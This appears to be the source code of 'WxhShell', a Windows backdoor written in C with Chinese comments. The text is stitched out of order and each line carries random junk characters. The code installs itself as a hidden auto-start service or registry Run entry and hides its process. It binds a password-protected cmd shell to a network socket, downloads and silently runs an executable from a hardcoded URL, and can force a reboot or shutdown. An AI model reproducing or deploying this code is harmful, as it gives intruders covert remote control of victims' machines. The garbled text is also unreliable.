    if(Boot(SHUTDOWN)) {|)u).n|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }py6H[  
    else { [X>\!mt  
    closesocket(wsh); $@]tTz;b  
    ExitThread(0); _m3}0q  
    } ch2Qk8  
    break; H(f~B<7q  
    } rzmd`)g  
  // 获取shell (pY'v /a-  
  case 's': { FtBYPSGz  
    CmdShell(wsh); "{a-I=s\C  
    closesocket(wsh); Vy*&po[   
    ExitThread(0); X; $g7A  
    break; 0}'  
  } m|mY_t  
  // 退出 V/%tFd1  
  case 'x': { :W]IJ mI\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "$)Nd+ny  
    CloseIt(wsh); y k=o  
    break; [AAG:`  
    } d) V"tSC,  
  // 离开 NyHHK8>  
  case 'q': { Z:F5cXt<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %C&HR2  
    closesocket(wsh); `LD#fg*  
    WSACleanup(); 8S;]]*cD~  
    exit(1); ;O8Uc&:P  
    break; m e\S:  
        } G)qNu}  
  } V?KACYd@O  
  } t{)Z$ )'  
c;\}R#  
  // 提示信息 ,P G d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HEZgHL  
} 'n'83d)z  
  } LR:Qb]|"  
:^ 9sy  
  return; &{#4^.Q  
} bcgh}D  
OC)~psQK  
// shell模块句柄 [Yt!uhww  
int CmdShell(SOCKET sock) ?$ rSbw  
{ >:5^4/fo*  
STARTUPINFO si; Vs>/q:I  
ZeroMemory(&si,sizeof(si)); UsT+o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?sF<L/P0 F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5p9zl=mT  
PROCESS_INFORMATION ProcessInfo; 8<cD+Jtj  
char cmdline[]="cmd"; *e E&ptx1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Obl']Hr{y9  
  return 0; V0'T)  
} *Q= 3v  
iTb k]$  
// 自身启动模式 wSrq?U5q  
int StartFromService(void) UzLe#3MU  
{ hAHZN^x&  
typedef struct X^L)5n+$X  
{ z$'_ =9yZ  
  DWORD ExitStatus; ZY%]F,Y  
  DWORD PebBaseAddress; ,,*i!%Adw  
  DWORD AffinityMask; 4]\ f}  
  DWORD BasePriority; T<!&6,N A  
  ULONG UniqueProcessId; [c6I/U=-  
  ULONG InheritedFromUniqueProcessId; yc|j]?  
}   PROCESS_BASIC_INFORMATION; eUiJl6^x  
)ZkQWiP-  
PROCNTQSIP NtQueryInformationProcess; [" '0vQ  
M,0@@:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $@8$_g|Wz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ift @/A  
jI`1>>N&1  
  HANDLE             hProcess; aBV{Xr~#(  
  PROCESS_BASIC_INFORMATION pbi; %m\dNUz4g  
,^dyS]!d$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _J<^'w^;%  
  if(NULL == hInst ) return 0; P%Fkd3e+  
o)NQE?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =M]f7lJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D@[Mk"f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C)2Waj}  
JaC =\\B  
  if (!NtQueryInformationProcess) return 0; .gPE Qc+D  
#N`~. 96  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zP\n<L5  
  if(!hProcess) return 0; idL6*%M  
~b}@*fq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kYxb@Zn=|  
M[wd.\ %  
  CloseHandle(hProcess); Q}G'=Q]Juz  
aL63=y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MMs#Y1dH  
if(hProcess==NULL) return 0; 3q*y~5&I  
Z<@Kkbj  
HMODULE hMod; <|= UrG  
char procName[255]; R#ayN*  
unsigned long cbNeeded; 3?Ckk{)&  
vR m.# +Td  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f<.43kv@  
d ]LF5*i  
  CloseHandle(hProcess); 5B+>28G%  
>Le L%$  
if(strstr(procName,"services")) return 1; // 以服务启动 _c}@Fi+E  
R-Y|;  
  return 0; // 注册表启动 *&VH!K#@{  
} hr%O4&sa  
\k?uh+xl  
// 主模块 wRwTN"Yg  
int StartWxhshell(LPSTR lpCmdLine) y#\jc4F_a  
{ $Iuf(J-5[  
  SOCKET wsl; p"9a`/  
BOOL val=TRUE; yRQR@  
  int port=0; PZn[Yb:  
  struct sockaddr_in door; r81YL  
d/>owCwQ  
  if(wscfg.ws_autoins) Install(); QN=a{  
&h=O;?dO  
port=atoi(lpCmdLine); `I$'Lp#5  
"e WN5 2  
if(port<=0) port=wscfg.ws_port; oiP8~  
VV/6~jy0  
  WSADATA data; lSw9e<jYO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q'kZ3 G   
CJA5w[m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2mVcT3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x <^vJ1  
  door.sin_family = AF_INET; odxsF(Q0p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M{Ss?G4H  
  door.sin_port = htons(port); J8|F8dcz  
>*ey 7g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #E`-b9Q  
closesocket(wsl); Z5aU7  
return 1; -uZ bVd  
} )zK`*Fa az  
AJ-p|[wPz  
  if(listen(wsl,2) == INVALID_SOCKET) { "kC uCc  
closesocket(wsl); [jl'5ld  
return 1; Uf^zA/33  
} 5ru&In&  
  Wxhshell(wsl); C2GF N1i  
  WSACleanup(); I8r5u=PH  
s^KUe%am0  
return 0; HC,YmO:df"  
1 h(oty2p  
} @fR^":.h  
uPk`9c52%  
// 以NT服务方式启动 +5pK[%k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tqLn  A  
{ j?Ki<MD1  
DWORD   status = 0; XCU.tWR:  
  DWORD   specificError = 0xfffffff; d%l_:M3  
ra \Moy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mG[S"?C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uSSnr#i^j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iTTe`Zr5y  
  serviceStatus.dwWin32ExitCode     = 0; '0_Z:\ laU  
  serviceStatus.dwServiceSpecificExitCode = 0; M/GQQG;  
  serviceStatus.dwCheckPoint       = 0; olPV"<;+pO  
  serviceStatus.dwWaitHint       = 0; =w HU*mK  
2XJn3wPi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )/FB73!  
  if (hServiceStatusHandle==0) return; +(/?$dRH  
Vx_ lI #3  
status = GetLastError(); YH33E~f  
  if (status!=NO_ERROR) 0-~Y[X"9.  
{ /3D!,V,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #yZZ$XOk  
    serviceStatus.dwCheckPoint       = 0; MCHRNhb9  
    serviceStatus.dwWaitHint       = 0; q0Fq7rWP  
    serviceStatus.dwWin32ExitCode     = status; ZN!OM)@:!  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?vL\VI9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IWeQMwg  
    return; @/}{Trmg/  
  } l!f/0Rx5  
:A35 ?9E?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zHi+I 7  
  serviceStatus.dwCheckPoint       = 0; d=%:rLm$  
  serviceStatus.dwWaitHint       = 0; X%"P0P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uG2(NwOL  
} 6'y+Ev$9  
y'?|#%D  
// 处理NT服务事件,比如:启动、停止 /G$8j$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J<x?bIetj  
{ P;[5#-e  
switch(fdwControl) }K,:aN,44\  
{ 'Im7^!-d  
case SERVICE_CONTROL_STOP: PbOLN$hP  
  serviceStatus.dwWin32ExitCode = 0; 9`}Wp2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "'H$YhY]  
  serviceStatus.dwCheckPoint   = 0; Ju$=Tn  
  serviceStatus.dwWaitHint     = 0; `Z]Tp1U  
  { FUzIuz 6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &fA`Od6l"  
  } sZFIQ)b9  
  return; F/9]{H  
case SERVICE_CONTROL_PAUSE: b_Ns Ch3@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <apsG7(7  
  break; 8 [i#x|`g  
case SERVICE_CONTROL_CONTINUE: vQ=W<>1   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \a+F/I$hwa  
  break; DX.u"&Mm  
case SERVICE_CONTROL_INTERROGATE: Saa# Mj`M  
  break; \dj&4u3  
}; AfKJa DKf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lJ@2N$w  
} L%`~`3%n-  
jI@0jxF  
// 标准应用程序主函数 H=]$9ZH!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r,=xI` XH  
{ e#Jx|Ej=  
5)4*J.  
// 获取操作系统版本 *leQd^47  
OsIsNt=GetOsVer(); 3/8o)9f.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DQW^;Ls  
u`Djle  
  // 从命令行安装 VKy:e.  
  if(strpbrk(lpCmdLine,"iI")) Install(); B`OggdE  
6N(Wv0b $  
  // 下载执行文件 {snLiCl  
if(wscfg.ws_downexe) { q@;WXHO0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f XxdOn.  
  WinExec(wscfg.ws_filenam,SW_HIDE); j>~^jz:  
} fI} Z`*  
Z"Z&X0O j  
if(!OsIsNt) { F7J-@T<  
// 如果时win9x,隐藏进程并且设置为注册表启动 &,+G}  
HideProc(); `*e',j2}UU  
StartWxhshell(lpCmdLine); <4}zl'.  
} /b,M492  
else `L`*jA+_  
  if(StartFromService()) L*bUjR,C  
  // 以服务方式启动 E^L  
  StartServiceCtrlDispatcher(DispatchTable); |Hg)!5EJ  
else 9,Zg'4",d  
  // 普通方式启动 s]`&9{=E  
  StartWxhshell(lpCmdLine); \1D~4Gz6}  
%j=dKd>  
return 0; d.tjLeY  
} G T#hqt'1x  
#*q`/O5n  
P, !si#  
I9N?zmH  
=========================================== =Z_\8qc  
L~A"%T,/h  
T[>h6d  
,GXwi|Y  
&H,5f#  
q a#Fa)g*  
" 6FG h=~{3,  
t ),~w,7(J  
#include <stdio.h> &W fs6g  
#include <string.h> <&TAN L  
#include <windows.h> iZ#dS}VlJ  
#include <winsock2.h> Zoj.F  
#include <winsvc.h> :gDIGBK,  
#include <urlmon.h> 0trVmWQ8  
QE}S5#_"  
#pragma comment (lib, "Ws2_32.lib") /,$;xt-J35  
#pragma comment (lib, "urlmon.lib") gbwKT`N*  
DbJ:KQ!*  
#define MAX_USER   100 // 最大客户端连接数 .g DWv  
#define BUF_SOCK   200 // sock buffer 4][m!dsU  
#define KEY_BUFF   255 // 输入 buffer t5N@ z  
84)$ CA+NX  
#define REBOOT     0   // 重启 3v;o`Em&  
#define SHUTDOWN   1   // 关机 ??12 J#  
~\4l*$3(^  
#define DEF_PORT   5000 // 监听端口 )v;>6(  
@gENv~m<OI  
#define REG_LEN     16   // 注册表键长度 q7mqzMDk  
#define SVC_LEN     80   // NT服务名长度 & S_gNa  
,kuJWaUC@  
// 从dll定义API .Br2^F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VJBVk8P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZT4._|2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AuHOdiJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "o#"u[W ,  
dsX{  5  
// wxhshell配置信息 7!w@u6Q  
struct WSCFG { J}EQ_FC"$  
  int ws_port;         // 监听端口 { ,.1KtrSN  
  char ws_passstr[REG_LEN]; // 口令 ,)'!E^n  
  int ws_autoins;       // 安装标记, 1=yes 0=no pSkP8'  ?  
  char ws_regname[REG_LEN]; // 注册表键名 im9 B=D  
  char ws_svcname[REG_LEN]; // 服务名 /XS6X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '?t]iRCeI7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LW?] ~|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "5Oog<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4ao oBY$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lG>rf*ei~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #9O *@  
u$[ '}z0:  
}; GZ/.eYE  
vmJ1-<G4*  
// default Wxhshell configuration ~6.AE/ow  
struct WSCFG wscfg={DEF_PORT, rEfk5R  
    "xuhuanlingzhe", Ks@S5:9sp  
    1, X<\^*{  
    "Wxhshell", vi@a87w>  
    "Wxhshell", Ttn=VX{ \  
            "WxhShell Service", yxQxc5/X)  
    "Wrsky Windows CmdShell Service", #9EpQc[4  
    "Please Input Your Password: ", GV6!`@<  
  1, W*;~(hDz  
  "http://www.wrsky.com/wxhshell.exe", 'IP'g,o++  
  "Wxhshell.exe" NZ9=hI;iM  
    }; b')CGqbbmT  
H)t YxW  
// 消息定义模块 <%hSBDG!x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bBAZr`<&U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #!rng]p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j/3827jw=  
char *msg_ws_ext="\n\rExit."; AOWX=`J8V  
char *msg_ws_end="\n\rQuit."; ZJsc?*@  
char *msg_ws_boot="\n\rReboot..."; 4pV.R5:  
char *msg_ws_poff="\n\rShutdown..."; N\=pH{  
char *msg_ws_down="\n\rSave to "; 5!}xl9D  
:y!e6  
char *msg_ws_err="\n\rErr!"; 8wwqV{O7  
char *msg_ws_ok="\n\rOK!"; Yfk[mo  
af\>+7x93  
char ExeFile[MAX_PATH]; _ot4HmD  
int nUser = 0; h|yv*1/|  
HANDLE handles[MAX_USER]; G^p>fy~  
int OsIsNt; Xw`vf7z*  
@cAv8i K  
SERVICE_STATUS       serviceStatus; );}k@w fw)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mj[PKEdkB  
+c/am``  
// 函数声明 )b"H]"  
int Install(void); r^ S 4 I&  
int Uninstall(void); WG NuB9R  
int DownloadFile(char *sURL, SOCKET wsh); ~ 6 1?nu  
int Boot(int flag); jU)r~QhN  
void HideProc(void); _zI9 5  
int GetOsVer(void); QOlm#S  
int Wxhshell(SOCKET wsl); " ^ydoRZ  
void TalkWithClient(void *cs); H!4!1J.=xw  
int CmdShell(SOCKET sock); ;TF(opW:  
int StartFromService(void); Bt[`p\p@  
int StartWxhshell(LPSTR lpCmdLine); z!)_'A  
SW UHHl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wg^#S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &fdH HN  
m;WUp{'  
// 数据结构和表定义  "@Bc eD  
SERVICE_TABLE_ENTRY DispatchTable[] = Xlw&hKS  
{ C16MzrB}(N  
{wscfg.ws_svcname, NTServiceMain}, <oI{:KH  
{NULL, NULL} w3PE.A"Q  
}; v#a`*^ ^  
M<r' j $g  
// 自我安装 Zn1+} Z@I  
int Install(void) kwMuL>5  
{ yTz@q>6s-  
  char svExeFile[MAX_PATH]; } Ga@bY6  
  HKEY key; \o?zL7  
  strcpy(svExeFile,ExeFile); skR/Wf9DH  
iUi{)xa2  
// 如果是win9x系统,修改注册表设为自启动 I$\dT1m$  
if(!OsIsNt) { Ljq/f& c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w}G2m)(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6%JKY+n^  
  RegCloseKey(key); pM@|P,w {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |]RV[S3v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /gL(40  
  RegCloseKey(key); v{i'o4  
  return 0; !(*mcYA*W  
    } gq*- v:P>  
  } R s_@L}U..  
} R/waWz\D  
else { %'kaNpBz  
v$K`C;  
// 如果是NT以上系统,安装为系统服务 (;$ J5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vg#s  
if (schSCManager!=0) ^5qX+!3r{  
{ G`ZpFg0Y  
  SC_HANDLE schService = CreateService ve.iyr  
  ( V=VL@=  
  schSCManager, k.rP}76  
  wscfg.ws_svcname, u ?7(A %  
  wscfg.ws_svcdisp, sT[)r]`T  
  SERVICE_ALL_ACCESS, xoTS?7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l:a+o gm3  
  SERVICE_AUTO_START, miCt)Qd  
  SERVICE_ERROR_NORMAL, k sJz44  
  svExeFile, 0AY23/  
  NULL, S59!+V  
  NULL, U/>f" F  
  NULL, T[N:X0  
  NULL, o\@1\#a  
  NULL +hpXMO%?  
  ); lJ3/^Htn  
  if (schService!=0) 6i( V+  
  { MX|CL{H  
  CloseServiceHandle(schService); c ^G\w+_  
  CloseServiceHandle(schSCManager); Vl{CD>$,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j2cLb  
  strcat(svExeFile,wscfg.ws_svcname); i6-q%%]6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "FT5]h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W8,XSUl  
  RegCloseKey(key); O_ nk8  
  return 0; @/lLL GrZ"  
    } W,`u5gbT  
  } J#L-Slav%  
  CloseServiceHandle(schSCManager); u6'vzLmM  
} @CP"AYB #  
} jC*(ZF1B  
q]0a8[]3  
return 1; (ivV[  
} 8 2&JYx  
V5i_\A  
// 自我卸载 QUaz;kNC7  
int Uninstall(void) #StD]d  
{ X"(!\{ySI;  
  HKEY key; 9xB^dKM3  
*;7&  
if(!OsIsNt) { r62x*?/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gd_w;{WP  
  RegDeleteValue(key,wscfg.ws_regname); NZ e3 m  
  RegCloseKey(key); xB68RQe)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >a%NC'~rc  
  RegDeleteValue(key,wscfg.ws_regname); N:)`+}  
  RegCloseKey(key); LbJ tU !  
  return 0; ~q?IG5s*Z  
  } 0Tp?ED_  
} -3/:Dk`3  
} =w?-R\  
else { qRJg/~_h{  
"z69jxXo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M/5/Tp  
if (schSCManager!=0) owCQ71Q  
{ aP!a?xq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f?dNTfQ3mi  
  if (schService!=0) 82~UI'f \  
  { #~Lh#@h  
  if(DeleteService(schService)!=0) { rnIv|q6@  
  CloseServiceHandle(schService); <.HHV91  
  CloseServiceHandle(schSCManager); kN`[Q$B  
  return 0; 0(Vbji  
  } Z9i,#/  
  CloseServiceHandle(schService); L4zSro:Si  
  } ldM [8  
  CloseServiceHandle(schSCManager); \_!FOUPz(  
} E(4ti]'4  
} jHT4I>\  
.hg<\-:_  
return 1; [])M2_  
} }yLdU|'W  
O*z x{a6  
// 从指定url下载文件 022YuqL<v  
int DownloadFile(char *sURL, SOCKET wsh) gu/eC  
{ Gu V -[  
  HRESULT hr; N(dn"`8  
char seps[]= "/"; blid* @-  
char *token; 3LG}x/l  
char *file; EX>>-D7L  
char myURL[MAX_PATH]; N$/{f2iC  
char myFILE[MAX_PATH]; A%"XNk  
s C e7ni  
strcpy(myURL,sURL); )"WImf:*  
  token=strtok(myURL,seps); kNI m90,g  
  while(token!=NULL) 7t\kof  
  { V{HZ/p_Y  
    file=token; .Ap[C? mV  
  token=strtok(NULL,seps);  c?}C {  
  } 3! dD!'  
j5R= K*y  
GetCurrentDirectory(MAX_PATH,myFILE); x~$P.X7(~  
strcat(myFILE, "\\"); 9u1_L`+b  
strcat(myFILE, file); CHdw>/5  
  send(wsh,myFILE,strlen(myFILE),0); N Rcg~Nu  
send(wsh,"...",3,0); )3.udx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6O"Vy  
  if(hr==S_OK) 'M_8U0k  
return 0; <eO 7b6_  
else F@ZG| &  
return 1; 69cOdIt^D  
Ki^m&P   
} wC{ =o`v  
nv{ou [vQ  
// 系统电源模块 L -b~#  
int Boot(int flag) u,PrEmy-  
{ CUnZ}@?d  
  HANDLE hToken; z Rz#0  
  TOKEN_PRIVILEGES tkp; Cs^o- g!L  
;p BXAl  
  if(OsIsNt) { XC?H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h"l{cDk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KofjveOiC  
    tkp.PrivilegeCount = 1; KFA B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9=rYzA?)+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \&R}JK  
if(flag==REBOOT) { ,<R/x[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IqfR`iAix  
  return 0; cOOPNa>5_  
} ?b#/*T}ac  
else { _L_SNjA_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oMLpl3pl  
  return 0; 01H3@0Q6  
} >/6v` 8F  
  } /{>ds-;-  
  else { ,PJl32  
if(flag==REBOOT) { 5irewh'R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >Eik>dQ a  
  return 0; pJ+>qy5  
} A7VF >{L./  
else { T>g1! -^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %T}{rU~X  
  return 0;  O5_[T43  
} np=m ~k  
} ? @h  
`gfK#0x#  
return 1; '(+l77G  
} 36J)O-Ti  
mrFMdpaHl%  
// win9x进程隐藏模块 cAVe(:k)  
void HideProc(void) &|9mM=^  
{ 6C r$R]5  
JR 2v}b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x[WT)  
  if ( hKernel != NULL ) 3`^ ]#Dh  
  { QdO$,i'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z'S>i*Ts  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XiKv2vwA  
    FreeLibrary(hKernel); {EW}Wd  
  } }mu8fm'  
dam.D.o"  
return; U!3nn#!yE  
} 6XFO@c}d  
dMRwQejY{7  
// 获取操作系统版本 CrS[FM= +W  
int GetOsVer(void) LFen!FnM  
{ 8'^eH1d'  
  OSVERSIONINFO winfo; ~+l%}4RZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _[0Ugfz (  
  GetVersionEx(&winfo); 9nM {x?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "D3JdyO_S  
  return 1; 5Tn4iyg;B  
  else !RiPr(m@y  
  return 0; :".!6~:2  
} tHJ1MDw'  
ot_jG)  
// 客户端句柄模块 kZUuRB~om  
int Wxhshell(SOCKET wsl) @VxBURZ?  
{ g=i|D(".  
  SOCKET wsh; {[r'+=}l\S  
  struct sockaddr_in client; [C771~BL>  
  DWORD myID; d[TcA2nF  
,LcMNPr  
  while(nUser<MAX_USER) SB$~Btr  
{ *aG0p&n}  
  int nSize=sizeof(client); EnwiE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8Yb/ c*  
  if(wsh==INVALID_SOCKET) return 1; +Tq _n@  
xU@Z<d,k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #Sn&Wo  
if(handles[nUser]==0) "_?^uymw  
  closesocket(wsh); S'ikr   
else 7-^df0  
  nUser++; <408lm  
  }  ~ikTo -  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I62Yg p$K  
P-+^YN,  
  return 0; fK4laDB TO  
} 8 eh C^Cg  
Xk7zXah  
// 关闭 socket zoUW}O  
void CloseIt(SOCKET wsh) )h+JX8K)l  
{ "T~Ps$  
closesocket(wsh); <U1uuOt  
nUser--; _r^&.'q  
ExitThread(0); }d6g{`  
} QL|Vke:N4  
+X Y}-  
// 客户端请求句柄 ~x4Y57  
void TalkWithClient(void *cs) jg%D G2  
{ &1w,;45  
mcr71j  
  SOCKET wsh=(SOCKET)cs; Or_9KX2  
  char pwd[SVC_LEN]; foL`{fA  
  char cmd[KEY_BUFF]; v'_tna6`O  
char chr[1]; I"DV}jg6|  
int i,j; K"g[%O<  
#jDO?Y Sa  
  while (nUser < MAX_USER) { 55,vmDd  
QFX|ZsmK  
if(wscfg.ws_passstr) { rbP.N ?YU%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vo0[Z,aH5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?d_<S0j-)  
  //ZeroMemory(pwd,KEY_BUFF); aP"i_!\.aa  
      i=0; q07rWPM "e  
  while(i<SVC_LEN) { (8H^{2K~  
L G=Q  
  // 设置超时 @]2cL  
  fd_set FdRead; =?FA9wm  
  struct timeval TimeOut; JBU qZ  
  FD_ZERO(&FdRead); @|d|orMC  
  FD_SET(wsh,&FdRead); 9k$uo_i'  
  TimeOut.tv_sec=8; r)7A# 3wId  
  TimeOut.tv_usec=0; WX?|iw I~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qa%g'sB-b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CdEJ/G:  
%mxG;w$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $}HSU>,%  
  pwd=chr[0]; W?6RUyMC$T  
  if(chr[0]==0xd || chr[0]==0xa) { +x4o#N  
  pwd=0; 7L]fCw p[  
  break; bgEUG  
  } y-Z*qR?  
  i++; M4DRG%21  
    } L[O+9Yh  
-2Ub'*qK  
  // 如果是非法用户,关闭 socket 9I pjY~or  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +VU,U`W  
} +,PBhB  
.WtaU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F] ~`57  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I[F.M}5:z  
uvm=i .  
while(1) { | @mZ]`p  
ap=M$9L'  
  ZeroMemory(cmd,KEY_BUFF);  =v8#@$  
nE/T)[1|  
      // 自动支持客户端 telnet标准   t`Hwq   
  j=0; xpSMbX{e  
  while(j<KEY_BUFF) { 8ALYih7"W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *_^AK=i  
  cmd[j]=chr[0]; nQ/El&{  
  if(chr[0]==0xa || chr[0]==0xd) { Sc*p7o: A  
  cmd[j]=0; 4Ly!:GH3T  
  break; -bE{yT)7  
  } &JP-M=\n  
  j++; LiN{^g^fx  
    } mNuv>GAb  
mD0pqK  
  // 下载文件 KU$.m3A>  
  if(strstr(cmd,"http://")) { Q+ uYr-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B04Br~hel*  
  if(DownloadFile(cmd,wsh)) w"aD"}3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3RGVH,  
  else Nf3Kz#!B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 67J=#%\  
  } ~+4OG 0  
  else { 1_yUv7uhX  
Ip<STz]-  
    switch(cmd[0]) { h05 ~ g  
  Q6DE|qnV  
  // 帮助 LM<OYRB(  
  case '?': { l tQ:c  
